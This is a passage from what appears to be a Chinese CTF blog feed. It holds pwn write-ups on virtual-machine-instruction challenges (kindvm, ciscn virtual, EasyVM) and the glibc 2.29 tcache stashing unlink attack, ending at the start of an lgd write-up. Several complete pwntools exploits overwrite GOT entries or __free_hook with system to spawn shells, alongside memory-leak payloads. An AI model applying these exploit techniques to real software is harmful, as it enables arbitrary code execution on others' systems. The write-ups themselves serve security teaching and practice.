RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x8048000)

静态分析,程序流程如下

1
2
3
4
5
6
7
8
9
10
11
int __cdecl main(int argc, const char **argv, const char **envp)
{
ctf_setup(); //初始化设置
kindvm_setup(); //设置虚拟指令集
input_insn(); //输入指令
(*(void (**)(void))(kc + 16))(); //执行某个函数
while ( !*(_DWORD *)(kc + 4) ) //当kc+4为true时终止执行
exec_insn(); //执行指令
(*(void (**)(void))(kc + 20))(); //执行某个函数
return 0;
}

重点关注kindvm_setup()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
void *kindvm_setup()
{
_DWORD *v0; // eax
int v1; // ebx
void *result; // eax

v0 = malloc(0x18u);
kc = (int)v0;
*v0 = 0;
*(_DWORD *)(kc + 4) = 0;
v1 = kc;
*(_DWORD *)(v1 + 8) = input_username(); //输入name,溢出会执行hint1()
*(_DWORD *)(kc + 12) = "banner.txt";
*(_DWORD *)(kc + 16) = func_greeting; //执行指令前的函数
*(_DWORD *)(kc + 20) = func_farewell; //执行指令后的函数
mem = malloc(0x400u); //内存在堆上
memset(mem, 0, 0x400u);
reg = malloc(0x20u); //寄存器也在堆上
memset(reg, 0, 0x20u);
insn = malloc(0x400u); //存放指令也在堆上
result = memset(mem, 'A', 0x400u);
func_table[0] = (int)insn_nop;
dword_804B0C4 = (int)insn_load; //0x01 + 寄存器号(0-7)+ 内存地址(2字节,小于0x3fc)
dword_804B0C8 = (int)insn_store; //0x02 + 内存地址(2字节,小于0x3fc) + 寄存器号(0-7)
dword_804B0CC = (int)insn_mov; //0x03 + 寄存器号a + 寄存器号b ;a = b
dword_804B0D0 = (int)insn_add; //0x04 + 寄存器号a + 寄存器号b a+=b a如果小于0,那么执行hint3()
dword_804B0D4 = (int)insn_sub; //0x05 + 寄存器号a + 寄存器号b a-=b
dword_804B0D8 = (int)insn_halt; //0x06 设置kc+4 = 1 终止执行
dword_804B0DC = (int)insn_in; //0x07 + 寄存器号 + 立即数(32位 4字节)将立即数存入寄存器
dword_804B0E0 = (int)insn_out; //0x08 + 寄存器号 打印寄存器的值
dword_804B0E4 = (int)insn_hint; //0x09 执行hint2()
return result;
}

现在我们来看一下hint

1
2
3
4
5
6
7
8
9
10
Input your name : aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
_ _ _ _ _ ____ _____ _____ _
| | | (_)_ __ | |_/ | / ___| ____|_ _| | |
| |_| | | '_ \| __| | | | _| _| | | | |
| _ | | | | | |_| | | |_| | |___ | | |_|
|_| |_|_|_| |_|\__|_| \____|_____| |_| (_)


Nice try! The theme of this binary is not Stack-Based BOF!
However, your name is not meaningless...

hint1:name溢出即可,提示name有作用,但不是溢出

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
➜  kindvm socat tcp-l:9999,fork exec:./kindvm

➜ kindvm echo -e 'kangel\n\x09' |nc 127.0.0.1 9999
Input your name : Input instruction : _ _ _
| | _(_)_ __ __| |_ ___ __ ___
| |/ / | '_ \ / _` \ \ / / '_ ` _ \
| <| | | | | (_| |\ V /| | | | | |
|_|\_\_|_| |_|\__,_| \_/ |_| |_| |_|

Instruction start!
_ _ _ _ ____ ____ _____ _____ _
| | | (_)_ __ | |_|___ \ / ___| ____|_ _| | |
| |_| | | '_ \| __| __) | | | _| _| | | | |
| _ | | | | | |_ / __/ | |_| | |___ | | |_|
|_| |_|_|_| |_|\__|_____| \____|_____| |_| (_)

Nice try! You can analyze vm instruction and execute it!
Flag file name is "flag.txt".

hint2:输入’\x09’,提示filename为”flag.txt”

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
_DWORD *insn_add()
{
_DWORD *result; // eax
unsigned __int8 v1; // [esp+Ah] [ebp-Eh]
unsigned __int8 v2; // [esp+Bh] [ebp-Dh]
signed int v3; // [esp+Ch] [ebp-Ch]

v1 = load_insn_uint8_t(); //寄存器a
v2 = load_insn_uint8_t(); //寄存器b
if ( v1 > 7u )
kindvm_abort();
if ( v2 > 7u )
kindvm_abort();
if ( *((_DWORD *)reg + v1) >= 0 )
v3 = 1;
result = (char *)reg + 4 * v1;
*result += *((_DWORD *)reg + v2);
if ( v3 )
{
result = (_DWORD *)*((_DWORD *)reg + v1);
if ( (signed int)result < 0 ) //寄存器a为负数
hint3();
}
return result;
}

因此可以先往reg[0]中写入负数,然后 add reg[0], reg[0]

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
➜  kindvm echo -e 'kangel\n\x07\x00\xff\xff\xff\xff\x04\x00\x00' |nc 127.0.0.1 9999
Input your name : Input instruction : _ _ _
| | _(_)_ __ __| |_ ___ __ ___
| |/ / | '_ \ / _` \ \ / / '_ ` _ \
| <| | | | | (_| |\ V /| | | | | |
|_|\_\_|_| |_|\__,_| \_/ |_| |_| |_|

Instruction start!
_ _ _ _ _____ ____ _____ _____ _
| | | (_)_ __ | |_|___ / / ___| ____|_ _| | |
| |_| | | '_ \| __| |_ \ | | _| _| | | | |
| _ | | | | | |_ ___) | | |_| | |___ | | |_|
|_| |_|_|_| |_|\__|____/ \____|_____| |_| (_)

Nice try! You can cause Integer Overflow!
The value became minus value. Minus value is important.

hint3:提示有整数溢出

我们现在来看一下指令退出后的函数func_farewell

1
2
3
4
5
ssize_t func_farewell()
{
open_read_write(*(char **)(kc + 12)); //banner.txt
return write(1, "Execution is end! Thank you!\n", 0x1Du);
}

banner.txt和name的地址都存放在堆上

1
2
3
4
5
6
7
8
9
10
11
12
pwndbg> x/20wx kc - 8
0x804c000: 0x00000000 0x00000021 0x00000000 0x00000000
0x804c010: 0x0804c028 0x080491b2 0x08048f89 0x08048fba
0x804c020: 0x00000000 0x00000011 0x67616c66 0x7478742e
0x804c030: 0x00000000 0x00000409 0x41414141 0x41414141
0x804c040: 0x41414141 0x41414141 0x41414141 0x41414141
pwndbg> x/s 0x0804c028
0x804c028: "flag.txt"
pwndbg> x/s 0x080491b2
0x80491b2: "banner.txt"
pwndbg> p/x mem
$3 = 0x804c038

因此 read name -> write it to banner.txt.即可

1
2
3
4
5
6
7
8
9
10
➜  kindvm echo -e 'flag.txt\n\x01\x07\xff\xd8\x02\xff\xdc\x07\x06' | nc 127.0.0.1 9999                                                  
Input your name : Input instruction : _ _ _
| | _(_)_ __ __| |_ ___ __ ___
| |/ / | '_ \ / _` \ \ / / '_ ` _ \
| <| | | | | (_| |\ V /| | | | | |
|_|\_\_|_| |_|\__,_| \_/ |_| |_| |_|

Instruction start!
SECCON{s7ead1ly_5tep_by_5tep}
Execution is end! Thank you!

exp如下

1
2
3
4
5
6
7
8
9
10
11
12
from pwn import *

p=process('./kindvm')

p.recvuntil("Input your name : ")
p.sendline('flag.txt')
p.recvuntil("Input instruction : ")
payload="\x01\x03\xff\xd8" #load 03,[0xffd8] reg3<=*(mem-40) 0xffd8 = -40
payload+="\x02\xff\xdc\x03" #store [0xffdc],03 *(mem-36)<=reg3 0xffdc = -36
payload+="\x06" #halt
p.sendline(payload)
p.interactive()

例题2

来源:ciscn_2019_初赛_virtual

checksec

1
2
3
4
5
6
[*] '/mnt/hgfs/shared/vmpwn/ciscn_2019_c_virtual/pwn'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)

程序逻辑

这道题相对上一道题复杂了许多,首先弄清楚程序逻辑

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
char *exec_name; // [rsp+18h] [rbp-28h]
section_info *stack_addr; // [rsp+20h] [rbp-20h]
section_info *text_addr; // [rsp+28h] [rbp-18h]
void **data_addr; // [rsp+30h] [rbp-10h]
char *ptr; // [rsp+38h] [rbp-8h]

do_init();
exec_name = (char *)malloc(0x20uLL); //name存放在堆上
stack_addr = sub_4013B4(64); //模拟栈,存放栈数据
text_addr = sub_4013B4(128); //模拟代码段,存放指令
data_addr = (void **)sub_4013B4(64); //模拟数据段,存放数据
ptr = (char *)malloc(0x400uLL); //存放临时数据,有点cache的味道
puts("Your program name:");
my_read_((__int64)exec_name, 0x20u); //直接写数据到name处

puts("Your instruction:");
my_read_((__int64)ptr, 0x400u); //先写到cache中
StoreOpcode(text_addr, ptr); //再存入代码段

puts("Your stack data:");
my_read_((__int64)ptr, 0x400u); //先写到cache中
StroeStack(stack_addr, ptr); //再存入栈中

if ( (unsigned int)run((__int64)text_addr) ) //模拟执行
{
puts("-------");
puts(exec_name); //打印name
puts_stack(stack_addr); //打印栈数据
puts("-------");
}
else
{
puts("Your Program Crash :)");
}
free(ptr);
my_free((void **)text_addr);
my_free((void **)stack_addr);
my_free(data_addr);
return 0LL;
}

如果只看上面,大概可以想到:

1、name = ”/bin/sh\x00”, 利用漏洞将puts@got改成system地址

2、打印栈数据可以泄露一些地址

下面来看一下stack、text、data是如何存放数据的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
section_info *__fastcall sub_4013B4(int size)
{
section_info *result; // rax
section_info *ptr; // [rsp+10h] [rbp-10h]
void *s; // [rsp+18h] [rbp-8h]

ptr = (section_info *)malloc(0x10uLL); //存放结构体
if ( !ptr )
return 0LL;
s = malloc(8LL * size); //存放数据
if ( s )
{
memset(s, 0, 8LL * size);
ptr->section_ptr = (__int64)s;
ptr->size = size;
ptr->numb = -1;
result = ptr;
}
else
{
free(ptr);
result = 0LL;
}
return result;
}

结构体如下:

1
2
3
4
5
6

00000000 section_info struc ; (sizeof=0x10, mappedto_6)
00000000 section_ptr dq ?
00000008 size dd ?
0000000C idx dd ?
00000010 section_info ends

下面再看一下两个操作数据的函数

1
2
3
4
5
6
7
8
9
signed __int64 __fastcall Get(section_info *text_addr, _QWORD *a2)
{
if ( !text_addr )
return 0LL;
if ( text_addr->numb == -1 )
return 0LL;
*a2 = *(_QWORD *)(text_addr->section_ptr + 8LL * text_addr->numb--);
return 1LL;
}

Get(addr, a): 从addr从取数据到a中

1
2
3
4
5
6
7
8
9
10
11
12
13
signed __int64 __fastcall StoreInSection(section_info *a1, __int64 data)
{
int idx; // [rsp+1Ch] [rbp-4h]

if ( !a1 )
return 0LL;
idx = a1->numb + 1;
if ( idx == a1->size )
return 0LL;
*(_QWORD *)(a1->section_ptr + 8LL * idx) = data;
a1->numb = idx;
return 1LL;
}

StoreInSection(a1, data):将data存放到a中

指令功能

共有7个指令:push、pop、add、sub、mul、div、load、save

push:从stack_addr中取出数据放进data_addr中

1
2
3
4
5
6
_BOOL8 __fastcall do_PUSH(section_info *data_addr, section_info *stack_addr)
{
__int64 v3; // [rsp+18h] [rbp-8h]

return (unsigned int)Get(stack_addr, &v3) && (unsigned int)StoreInSection(data_addr, v3);
}

pop:从data_addr中取出数据放进stack_addr中,与push刚好相反

1
2
3
4
5
6
_BOOL8 __fastcall do_POP(section_info *data_addr, section_info *stack_addr)
{
__int64 v3; // [rsp+18h] [rbp-8h]

return (unsigned int)Get(data_addr, &v3) && (unsigned int)StoreInSection(stack_addr, v3);
}

add:从data_addr中取出两个数据相加再存入data_addr;sub、mul、div类似

1
2
3
4
5
6
7
8
9
10
11
12
signed __int64 __fastcall do_ADD(section_info *data_addr)
{
signed __int64 result; // rax
__int64 v2; // [rsp+10h] [rbp-10h]
__int64 v3; // [rsp+18h] [rbp-8h]

if ( (unsigned int)Get(data_addr, &v2) && (unsigned int)Get(data_addr, &v3) )
result = StoreInSection(data_addr, v3 + v2);
else
result = 0LL;
return result;
}

load:从data_addr中取出数据作为data_addr的索引,再将该索引指向的数据存放到data_addr中,由于没有进行索引的判断,因此可以造成越界读

1
2
3
4
5
6
7
8
9
10
11
signed __int64 __fastcall do_LOAD(section_info *data_addr)
{
signed __int64 result; // rax
__int64 idx; // [rsp+10h] [rbp-10h]

if ( (unsigned int)Get(data_addr, &idx) )
result = StoreInSection(data_addr, *(_QWORD *)(data_addr->section_ptr + 8 * (data_addr->numb + idx)));
else
result = 0LL;
return result;
}

save:从data_addr中取出两个数据,将第二个数据写入第一个数据相关的索引中,存在越界写。

1
2
3
4
5
6
7
8
9
10
signed __int64 __fastcall do_SAVE(section_info *data_addr)
{
__int64 v2; // [rsp+10h] [rbp-10h]
__int64 value; // [rsp+18h] [rbp-8h]

if ( !(unsigned int)Get(data_addr, &v2) || !(unsigned int)Get(data_addr, &value) )
return 0LL;
*(_QWORD *)(8 * (data_addr->numb + v2) + data_addr->section_ptr) = value;
return 1LL;
}

例如:利用save将data_addr覆盖成0x400

利用思路:

1、先把got表写入data_addr->section_ptr处:push got_addr;push -3;save

2、load put@got,加上它与system@got的偏移:push 5;load;push offset;add

3、将该地址写入put@got的地址处:push 5;save

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
from pwn import *
context.log_level='debug'
context.terminal = ['tmux','split','-h']
p = process('./pwn')
elf = ELF('./pwn')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

def gd(s=''):
gdb.attach(p,s)

p.sendlineafter('name:\n','/bin/sh')
ins = "push push save push load push add push save"
p.sendlineafter('instruction:\n', ins)

offset = -(libc.sym['puts'] - libc.sym['system'])
got_addr = 0x404000
data = [got_addr,-3,5 ,offset ,5]

payload=""
for i in data:
payload+=str(i)+" "

# gd('b *0x401A75\nb *0x4019C7\nb*0x401A5D\n')
p.sendlineafter('data:\n',payload)

p.interactive()

例题3

来源:gxzyCTF-EasyVM

checksec

1
2
3
4
5
6
[*] '/mnt/hgfs/shared/vmpwn/easyVM/attachment/EasyVM'
Arch: i386-32-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled

程序逻辑

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
int __cdecl main(int argc, const char **argv, const char **envp)
{
void *buf; // ST2C_4
_DWORD *ptr; // [esp+18h] [ebp-18h]
int v5; // [esp+ACh] [ebp+7Ch]

init();
ptr = sub_DD5(); //定义一些寄存器
while ( 1 )
{
switch ( menu() )
{
case 1:
buf = malloc(0x300u);
read(0, buf, 0x2FFu); //读入指令
ptr[8] = buf; //地址存放在ptr[8]中
break;
case 2:
if ( !ptr )
exit(0);
vm(ptr); //定义了指令集
break;
case 3:
if ( !ptr )
exit(0);
free((void *)ptr[10]);
free(ptr); //有点东西
break;
case 4:
puts("Maybe a bug is a gif?");
dword_305C = v5; //程序的地址
ptr[8] = &unk_3020; //存入一些指令
break;
case 5:
puts("Zzzzzz........");
exit(0);
return;
default:
puts("Are you kidding me ?");
break;
}
}
}

看到case 3,大概可以想到要把free(ptr)修改成system(“/bin/sh”)

先来看指令集,指令集只是定义了一些运算,下面介绍几个主要的

0x80:以下一个指令为索引idx,把下2到5个字节为值传入寄存器a1[idx]

例如:’\x80\x02\x00\x96\xF3\x78’就是a1[2] = 0x78F39600

1
2
3
4
5
if ( *(_BYTE *)a1[8] == 0x80u )
{
a1[sub_9C3((int)a1, 1u)] = *(_DWORD *)(a1[8] + 2);
a1[8] += 6;
}

0x09与0x11:把dword_305C中的值打印出来

1
2
3
4
5
6
7
8
9
10
if ( *(_BYTE *)a1[8] == 9 )
{
a1[1] = dword_305C;
++a1[8];
}
if ( *(_BYTE *)a1[8] == 0x11 )
{
printf("%p\n", a1[1]);
++a1[8];
}

0x53与0x54: 输出一个字节和输入一个字节

1
2
3
4
5
6
7
8
9
10
11
if ( *(_BYTE *)a1[8] == 0x53 )
{
putchar(*(char *)a1[3]);
a1[8] += 2;
}
if ( *(_BYTE *)a1[8] == 0x54 )
{
v1 = (_BYTE *)a1[3];
*v1 = getchar();
a1[8] += 2;
}

0x71接0x76:相当于a1[3] = (_DWORD )(a1[8] + 1);

1
2
3
4
5
6
7
8
9
10
11
12
13
if ( *(_BYTE *)a1[8] == 0x71 )
{
a1[6] -= 4;
*(_DWORD *)a1[6] = *(_DWORD *)(a1[8] + 1);
a1[8] += 5;
}
if ( *(_BYTE *)a1[8] == 0x76 )
{
a1[3] = *(_DWORD *)a1[6];
*(_DWORD *)a1[6] = 0;
a1[6] += 4;
a1[8] += 5;
}

其实弄清楚&unk_3020中的指令就差不多了,该指令首先给dword_305C赋值,然后对该值进行一系列运算并打印出来,根据该运算特征可以发现是MT19937随机数算法,可以利用Z3约束器进行求解(参考http://ctf.njupt.edu.cn/382.html#EasyVM)

实际上可以不用管这个密文,我们只需要dword_305C已经赋值,然后运行"\x09\x11\x99"即可

这道题可以有多种方法构造任意地址读写

1、利用"\x80\x03"

2、利用"\x71\x76"

具体攻击方法如下:

1、泄露程序基址,得到malloc@got地址

2、泄露malloc的地址,得到libc基址,从而计算free_hook地址和system地址

3、将”/bin/sh\x00”写入ptr,将system@addr写入free_hook

4、case 3 getshell

完整exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
from pwn import *

context.log_level="debug"
context.terminal = ['tmux','split','-h']
p = process("./EasyVM")

r = lambda x: p.recvuntil(x)
s = lambda x,y: p.sendafter(x,y)
sl = lambda x,y: p.sendlineafter(x,y)

def produce(ins):
sl(">>> ","1")
p.send(ins)

def start():
sl(">>> ","2")

def free():
sl(">>> ","3")

def gift():
sl(">>> ","4")

def read_one(addr):
ins = '\x80\x03'+p32(addr)+'\x53\x00'
ins += '\x80\x03'+p32(addr+1)+'\x53\x00'
ins += '\x80\x03'+p32(addr+2)+'\x53\x00'
ins += '\x80\x03'+p32(addr+3)+'\x53\x00'
ins += '\x99'
produce(ins)
start()

def write_one(addr,value):
ins = '\x80\x03'+p32(addr)+'\x54\x00'
ins += '\x80\x03'+p32(addr+1)+'\x54\x00'
ins += '\x80\x03'+p32(addr+2)+'\x54\x00'
ins += '\x80\x03'+p32(addr+3)+'\x54\x00'
ins += '\x80\x00'+'/bin'
ins += '\x80\x01'+'/sh\x00'
ins += '\x99'
produce(ins)
start()
p.send(value)

def gd(s = ''):
gdb.attach(p,s)

gift()
produce("\x09\x11\x99")
start()
p.recvline()
binary_base = int(p.recv(10),16) - 0x6c0
log.success("binary_base:0x%x"%binary_base)

malloc_got = binary_base + 0x2fcc
read_one(malloc_got)
p.recv()
libc_base = u32(p.recv(4)) - 0x70f00
log.success("libc_base:0x%x"%libc_base)
free_hook = libc_base + 0x1b38b0
system_addr = libc_base + 0x3ada0
write_one(free_hook,p32(system_addr))
gd()
free()
p.interactive()

Reference

https://github.com/PDKT-Team/ctf/tree/master/seccon2018/kindvm#bahasa-indonesia

https://blog.csdn.net/qq_25201379/article/details/83548147

https://dittozzz.top/2019/09/28/VM-pwn-%E5%88%9D%E6%8E%A2/

https://xz.aliyun.com/t/6865

https://www.bilibili.com/read/cv5124780

]]>
<h3 id="前言"><a href="#前言" class="headerlink" title="前言"></a>前言</h3><p>近来很多比赛都有虚拟指令集pwn的题目,漏洞都是常规的漏洞,但是题目还算新颖,有一种计组做实验的感觉。</p> <p>这类题目主要就是搞清楚
tcache_stashing_unlink_attack https://j-kangel.github.io/2020/04/10/tcache-stashing-unlink-attack/ 2020-04-09T16:16:32.000Z 2020-04-09T11:17:14.359Z 前言

tcache_stashing_unlink_attack是glibc2.29和glibc2.30下的一种新型攻击技巧

原理

该利用原理与unsorted bin attack和house of lore攻击相似,首先来回顾一下它们两个

unsorted bin attack

在glibc2.27/malloc/malloc.c: 3777中

1
2
3
/* remove from unsorted list */
unsorted_chunks (av)->bk = bck;
bck->fd = unsorted_chunks (av);

没有做任何检查,可以使bck->fd写入libc地址(av)

在glibc2.29/malloc/malloc.c: 3976中

1
2
3
4
5
/* remove from unsorted list */
if (__glibc_unlikely (bck->fd != victim))
malloc_printerr ("malloc(): corrupted unsorted chunks 3");
unsorted_chunks (av)->bk = bck;
bck->fd = unsorted_chunks (av);

做了检查,因此unsorted bin attack在glibc2.29中失效

house of lore

house of lore利用的是small bin分配时的unlink

参考链接:https://wiki.x10sec.org/pwn/heap/house_of_lore/

在glibc2.23/malloc/malloc.c: 3397中

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
/*
If a small request, check regular bin. Since these "smallbins"
hold one size each, no searching within bins is necessary.
(For a large request, we need to wait until unsorted chunks are
processed to find best fit. But for small ones, fits are exact
anyway, so we can check now, which is faster.)
*/

if (in_smallbin_range(nb)) {
// 获取 small bin 的索引
idx = smallbin_index(nb);
// 获取对应 small bin 中的 chunk 指针
bin = bin_at(av, idx);
// 先执行 victim= last(bin),获取 small bin 的最后一个 chunk
// 如果 victim = bin ,那说明该 bin 为空。
// 如果不相等,那么会有两种情况
if ((victim = last(bin)) != bin) {
// 第一种情况,small bin 还没有初始化。
if (victim == 0) /* initialization check */
// 执行初始化,将 fast bins 中的 chunk 进行合并
malloc_consolidate(av);
// 第二种情况,small bin 中存在空闲的 chunk
else {
// 获取 small bin 中倒数第二个 chunk 。
bck = victim->bk;
// 检查 bck->fd 是不是 victim,防止伪造
if (__glibc_unlikely(bck->fd != victim)) {
errstr = "malloc(): smallbin double linked list corrupted";
goto errout;
}
// 设置 victim 对应的 inuse 位
set_inuse_bit_at_offset(victim, nb);
// 修改 small bin 链表,将 small bin 的最后一个 chunk 取出来
bin->bk = bck;
bck->fd = bin;
// 如果不是 main_arena,设置对应的标志
if (av != &main_arena) set_non_main_arena(victim);
// 细致的检查
check_malloced_chunk(av, victim, nb);
// 将申请到的 chunk 转化为对应的 mem 状态
void *p = chunk2mem(victim);
// 如果设置了 perturb_type , 则将获取到的chunk初始化为 perturb_type ^ 0xff
alloc_perturb(p, bytes);
return p;
}
}
}

从下面的这部分我们可以看出

1
2
3
4
5
6
7
8
9
10
11
12
// 获取 small bin 中倒数第二个 chunk 。
bck = victim->bk;
// 检查 bck->fd 是不是 victim,防止伪造
if (__glibc_unlikely(bck->fd != victim)) {
errstr = "malloc(): smallbin double linked list corrupted";
goto errout;
}
// 设置 victim 对应的 inuse 位
set_inuse_bit_at_offset(victim, nb);
// 修改 small bin 链表,将 small bin 的最后一个 chunk 取出来
bin->bk = bck;
bck->fd = bin;

如果我们可以修改 small bin 的最后一个 chunk 的 bk 为我们指定内存地址的fake chunk,并且同时满足之后的 bck->fd != victim 的检测,那么我们就可以使得 small bin 的 bk 恰好为我们构造的 fake chunk。也就是说,当下一次申请 small bin 的时候,我们就会分配到指定位置的 fake chunk。

在glibc2.27和2.29中也没有做过多的检查

参考链接:berming

在glibc2.29/malloc/malloc.c: 3664中

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
#if USE_TCACHE
/* While we're here, if we see other chunks of the same size,
stash them in the tcache. */
size_t tc_idx = csize2tidx (nb);
if (tcache && tc_idx < mp_.tcache_bins)
{
mchunkptr tc_victim;

/* While bin not empty and tcache not full, copy chunks over. */
while (tcache->counts[tc_idx] < mp_.tcache_count
&& (tc_victim = last (bin)) != bin)
{
if (tc_victim != 0)
{
bck = tc_victim->bk;
set_inuse_bit_at_offset (tc_victim, nb);
if (av != &main_arena)
set_non_main_arena (tc_victim);
bin->bk = bck; //类似house of lore
bck->fd = bin; //没有做任何检查,类似unsorted bin

tcache_put (tc_victim, tc_idx);
}
}
}
#endif

可以看到,当small bin不为空而tcache不满时,可以达到与unsorted bin attack和house of lore相同的攻击效果。

看着挺有道理,但是当small bin不为空而tcache不满这两个条件在引入tcache之后似乎有点矛盾。因为我们不能越过Tcache向SmallBin中填入Chunk,也不能越过Tcache从SmallBin中取出Chunk。但是,事情总是充满玄机,这里不得不提calloc和unsorted bin中的last remainder与tcache的爱恨情仇。

1、calloc不会从TcacheChunk,因此可以越过第二条矛盾“不能越过TcacheSmallBin中取出Chunk”。

2、Unsorted Binlast remainder基址,当申请的Chunk大于Unsorted Bin中Chunk的大小且其为Unsorted Bin中的唯一Chunk时,该Chunk不会进入Tcache。因此可以越过第一条矛盾“不能越过Tcache向SmallBin中填入Chunk”。

其实calloc与malloc的特性可以方式直接泄露libc,因为当我们使用malloc时会直接从tcache取chunk,tcache中的chunk不存在libc地址,而使用calloc时,会把chunk清零。但是malloc可以泄露堆地址。

例题

下面以gxzyCTF中的twochunk为例

程序分析

checksec

1
2
3
4
5
6
[*] '/mnt/hgfs/glibc2.29/twochunk/twochunk'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled

程序功能较多

1
2
result = (signed int)mmap((void *)0x23333000, 0x2000uLL, 3, 34, -1, 0LL);
buf = (void *)(signed int)result;

在0x23333000出mmap出了一块大小为2000的可读写空间,地址存放在bss段的buf中

在0x23333000处存放name和msg,同时有一次修改和打印name、msg的功能。

使用calloc申请堆块,大小为(0x80, 0x3ff ],即small bin大小的堆块,同时最多申请两个,当size=0x23333可以使用一次malloc(0xE9)

free函数没问题

show函数只能使用一次

edit函数只能使用一次,有32字节溢出

存在后门函数,可以配合修改msg使用,前提是泄露libc地址

因此,这道题的目标就是泄露libc地址,刚好利用类unsorted bin attack可以将libc地址写道任意位置,我们可以写入0x23333000,然后利用打印name、msg函数泄露出来。

利用过程

首先,我们需要一个用来两个不同大小的chunk,一个未满,一个已满

1
2
3
4
5
6
7
for i in range(5):
add(0,0x88)
free(0)

for i in range(7):
add(0,0x190)
free(0)

下面构造两个small bin

1
2
3
4
5
6
7
8
9
#first smallbin
add(0,0x190)
add(1,0x1a0)
free(0)
add(0,0x100) #还剩下0x90大小的chunk
free(1)
free(0)
add(0,0xf0) #Unsorted Bin的last remainder
free(0)

1
2
3
4
5
6
7
8
9
10
add(0,0xf0) #为malloc(E9)
free(0)
add(0,0x190)
add(1,0x1a0)
free(0)
add(0,0x100)
free(1)
free(0)
add(0,0x190)
free(0)

泄露堆地址

1
2
3
4
add(0,23333)
show(0)
heap = u64(p.recv(6).ljust(8,'\x00'))
log.success("heap:"+hex(heap))

tcache stashing unlink

1
2
3
payload = '\x00'*0xf0+p64(0)+p64(0x111)+'\x00'*0x100+p64(0)+p64(0x91)+p64(heap-0x250)+p64(0x23333000-0x10)
edit(0,payload)
add(1,0x88)

此时堆布局如下

以上过程首先是类house of lore攻击

检查:bck->fd = victim(通过)

结果:bin->bk = bck; bck->fd = bin;

接下来是类unsorted bin attack

检查:无

结果:bin->bk = bck; bck->fd = bin;

攻击之后的效果如下

完整exp如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
from pwn import *

context.update(arch='amd64',os='linux',log_level='debug')
context.terminal = ['tmux','split','-h']

elf = ELF("./twochunk")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")

r = lambda x: p.recvuntil(x)
s = lambda x,y: p.sendafter(x,y)
sl = lambda x,y: p.sendlineafter(x,y)

debug = 1
if debug:
p = process("./twochunk")
else:
print "remote"

def add(idx,size):
s("choice: ",str(1))
s("idx: ",str(idx))
s("size: ",str(size))

def free(idx):
s("choice: ",str(2))
s("idx: ",str(idx))

def show(idx):
s("choice: ",str(3))
s("idx: ",str(idx))

def edit(idx,content):
s("choice: ",str(4))
s("idx: ",str(idx))
s("content: ",content)

def leave_msg(msg):
s("choice: ",str(6))
s("message: ",msg)
def gd():
gdb.attach(p)
s('name: ',p64(0x23333020)*6)
s('message: ',p64(0x23333020)*8)

for i in range(5):
add(0,0x88)
free(0)

for i in range(7):
add(0,0x190)
free(0)
#make two small bin
add(0,0x190)
add(1,0x1a0)
free(0)
add(0,0x100)
free(1)
free(0)
add(0,0xf0)
free(0)
add(0,0xf0)
free(0)
add(0,0x190)
add(1,0x1a0)
free(0)
add(0,0x100)
free(1)
free(0)
add(0,0x190)
free(0)
add(0,23333)
show(0)
heap = u64(p.recv(6).ljust(8,'\x00'))
log.success("heap:"+hex(heap))
payload = '\x00'*0xf0+p64(0)+p64(0x111)+'\x00'*0x100+p64(0)+p64(0x91)+p64(heap-0x250)+p64(0x23333000-0x10)
edit(0,payload)
add(1,0x88)
s("choice: ",str(5))
r("message: ")
libc_base = u64(p.recv(6).ljust(8,'\x00'))-0x1eac60
log.success("libc_base:"+hex(libc_base))
payload = p64(libc_base+libc.symbols['execve'])
payload += p64(0)*5+p64(libc_base+libc.search('/bin/sh').next())+p64(0)+p64(0)
leave_msg(payload)
# gd()
p.interactive()
]]>
<h3 id="前言"><a href="#前言" class="headerlink" title="前言"></a>前言</h3><p>tcache_stashing_unlink_attack是glibc2.29和glibc2.30下的一种新型攻击技巧</p> <h3 id
gxzyCTF pwn lgd https://j-kangel.github.io/2020/04/09/gxzyCTF-pwn-lgd/ 2020-04-09T11:37:42.000Z 2020-04-09T04:23:31.929Z 前言

经典的glibc2.23环境下的堆溢出,程序自带混淆,可以通过简单的黑盒测试确定程序的逻辑。禁掉了execev,可以在栈上构造orw,也可以通过栈迁移打orw。这里利用unlink进行任意地址读写,然后利用environ泄露栈地址,然后在栈上构造orw的ROP链。

黑盒测试

静态分析

通过静态分析可以发现,程序存在add、free、show、edit四个功能。

